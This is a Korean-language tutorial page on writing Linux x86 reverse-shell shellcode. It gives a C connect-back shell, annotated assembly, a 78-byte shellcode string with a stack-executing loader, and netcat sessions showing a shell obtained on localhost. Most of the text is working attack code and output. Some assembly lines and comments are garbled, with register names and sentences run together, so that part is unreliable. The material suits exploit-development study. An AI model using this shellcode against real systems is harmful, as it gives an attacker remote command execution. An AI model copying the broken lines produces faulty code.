...
Excuse the ads! We need some help to keep our site up.
List
Reverse Shellcode
Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식입니다.
포트 바인딩 쉘 코드는 방화벽으로 쉽게 막을 막습니다.- 이렇게 해야 사용자의 외부 노출을 막을 수 있고, 포트 바인딩 쉘코드의 공격도 막을 수 있습니다.
소프트웨어 방화벽이 보편화돼 포트 바인딩 쉘 코드가 실제로 통할 가능성은 극히 낮아 졌습니다
하지만 방화벽은
편의성을 방해하지 않으려고 일반적으로 나가는 연결은 거르지 않습니다.- 방화벽 안쪽에서는 어떤 웹 페이지에든 접근할 수 있고, 나가는 연결을 만들 수 있습니다.
- 즉, 쉘코드가 나가는 연결을 만들 수 있다면 방화벽을 무시하고 공격할 수 있습니다.
- 커넥트 백(connect-back) 쉘 코드는 공격자로부터의 연결을 기다리는 대신 공격자의 IP 주소로 돌아오는 TCP 연결을 만듭니다.
- TCP 연결을 만들 때는 socket()과 connect() 함수의 호출이 필요합니다.
- 포트 바인팅 쉘코드와 비교해 socket호출은 동일하고, connect() 호출의 인자는 bind()의 인자와 같으므로 포트 바인딩 쉘코드와 비슷합니다.
C language
외부로 나가는 통신에 대해서는 자유로운 편입니다.
즉, 공격 대상이 나의 PC에 접속하도록 할 수 있습니다.
Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신, 공격자가 지정한 IP,Port로 연결합니다.
C language
- 아래와 같이 Bind shellcode와 많이 다르지 않습니다.
- socket() 함수를 이용해 통신을 위한 Socket을 생성합니다.
- connect() 함수를 이용해 서버에 접속합니다.
- dup2() 함수를 이용해 Socket() 함수에 의해 생성된 파일 디스크립터에 표준 스트림(입,출력,에러)을 복제(링크) 합니다.
- execve() 함수를 이용해 "/bin/sh" 프로그램을 실행합니다
Port bind shellcode와 많이 다르지 않습니다.- bind, listen, accept 함수 대신 connect 함수를 이용하여 서버에 접속합니다.
Code Block |
---|
language | cpp |
---|
title | reverse.c |
---|
|
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int i, server_sockfd;
socklen_t socklen;
struct sockaddr_in server_addr;
char *argv[] = { "/bin/sh", NULL};
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(2345);
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
server_sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
for(i = 0; i <= 2; i++)
dup2(server_sockfd, i);
execve( "/bin/sh", argv, NULL );
} |
Test program
- 다음과 같이 nc 프로그램을 이용해 port를 오픈합니다.
...
Code Block |
---|
title | Connect to the server |
---|
|
lazenca0x0@ubuntu:~/back$ gcc -o testreverse testreverse.c
lazenca0x0@ubuntu:~/back$ ./testreverse |
- 해당 프로그램을 실행하면 nc로 오픈한 Port에 접속하게되며, nc를 이용해 "/bin/sh" 프로그램을 이용할 수 있습니다.
Code Block |
---|
|
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 55482)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
exit
lazenca0x0@ubuntu:~$ |
Connect()
- connect() 함수는 생성한 소켓을 통해 서버로 접속을 요청합니다.
...
Code Block |
---|
title | /usr/include/linux/net.h |
---|
|
lazenca0x0@ubuntu:~$ cat /usr/include/linux/net.h |grep connect
#define SYS_CONNECT 3 /* sys_connect(2) */
SS_UNCONNECTED, /* unconnected to any socket */
SS_CONNECTING, /* in process of connecting */
SS_CONNECTED, /* connected to socket */
SS_DISCONNECTING /* in process of disconnecting */
lazenca0x0@ubuntu:~$ |
Assembly code
여기서 알아야 할 부분은 "server_addr.sin_addr.s_add"에 저장되는 값의 형태입니다.
- IP Address는 총 32bit이며, 8 bit 단위로 구분하여 표시합니다.
- 아래와 같이 Shellcode에서 8bit 단위로 IP Address를 표현합니다.
- 127.0.0.1은 127.1.1.1로 대체 가능합니다.
Panel |
---|
|
IP Address | 127.1.1.1 |
---|
Hex | 7f.01.01.01 |
---|
Little-endian format | 0x0101017f |
---|
|
Code Block |
---|
|
BITS 32
;socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
push BYTE 102 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다.
cdq ; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다.
push dword 1 ; socket 함수의 호출 번호 1을 Stack에 저장합니다.
pop ebx ; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다.
;두번째 인자에 전달할 인자 배열을 생성
push edx ; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다.
push ebx ; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다.
push BYTE 2 ; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다.
mov ecx, esp ; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다.
int 0x80
;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xchg edx,eax ; 소켓 함수로 부터 리턴받은 값을 EDX 레지스터에 저장합니다.
; EAX 레지스터는 0으로 초기화 합니다.
;connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
mov al, 0x66 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다.
;struct sockaddr_in server_addr;
push DWORD 0x0101017f ; server_addr.sin_addr.s_addr = inet_addr("127.1.1.1"); Little-endian
push WORD 0x2909 ; server_addr.sin_port = htons(2345); Little-endian
inc ebx ;
push WORD bx ; server_addr.sin_family = AF_INET;
mov ecx, esp ; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다.
push BYTE 16 ; connect() 함수의 3번째 인자 값 16을 Stack에 저장합니다.
push ecx ; connect() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다.
push esiedx ; connect() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다.
mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다.
inc ebx ; socketcall() 함수의 1번째 인자 값으로 SYS_CONNECT(3)를 저장하게 됩니다.
int 0x80
;for(i = 0; i <= 2; i++)
; dup2(server_sockfd, i);
xchg eaxedx,ebx ; accept()dup2 함수로함수의 부터1번째 리턴받은인자값으로 파일socket() 디스크립터를함수에 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해의해 생성된 파일 디스크립터(0x000000050x5)를 EAX 레지스터에 저장합니다.
push BYTE 0x2 ; Stack에 2 저장합니다.
pop ecx ; ECX 레지스터에 2으로dup2 함수의 2번째 인자값으로 2 를 저장 합니다.(dup2 함수의 2번째 인자값)
dup2_call:
mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다.
int 0x80 ;
dec ecx ; dup2() 함수의 2번째 인자값을 감소(-1) 시킵니다.
jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다.
;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11 ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다.
xor edx, edx
push edx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다.
push 0x68732f2f ; 문자 "//sh"를 Stack에 저장합니다. Little-endian
push 0x6e69622f ; 문자 "/bin"를 Stack에 저장합니다. Little-endian
mov ebx, esp ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다.
push edx ; Stack에 Null을 저장합니다.
mov edx, esp ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다.
push ebx ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다.
mov ecx, esp ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh"],[Null])를 저장합니다.
int 0x80 ; |
Test program
Code Block |
---|
language | cpp |
---|
title | revShell.c |
---|
|
#include<stdio.h>
#include<string.h>
unsigned char shellcode [] = "\x6a\x66\x58\x99\x6a\x1\x5b\x52\x53\x6a\x2\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x1\x1\x1\x66\x68\x9\x29\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";
void main()
{
int len = strlen(shellcode);
printf("Shellcode len : %d\n",len);
strcpy(code,shellcode);
(*(void(*)()) code)();
} |
- nc 프로그램을 이용해 클라이언트의 연결을 기다립니다.
Code Block |
---|
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345) |
Code Block |
---|
lazenca0x0@ubuntu:~/Reverse$ gcc -o revShell -z execstack -m32 revShell.c
lazenca0x0@ubuntu:~/Reverse$ ./revShell
Shellcode len : 78
|
- Shellcode에 의해 nc 프로그램에 "/bin/sh" 프로그램이 연결되었습니다.
Code Block |
---|
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 48860)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) |
Related site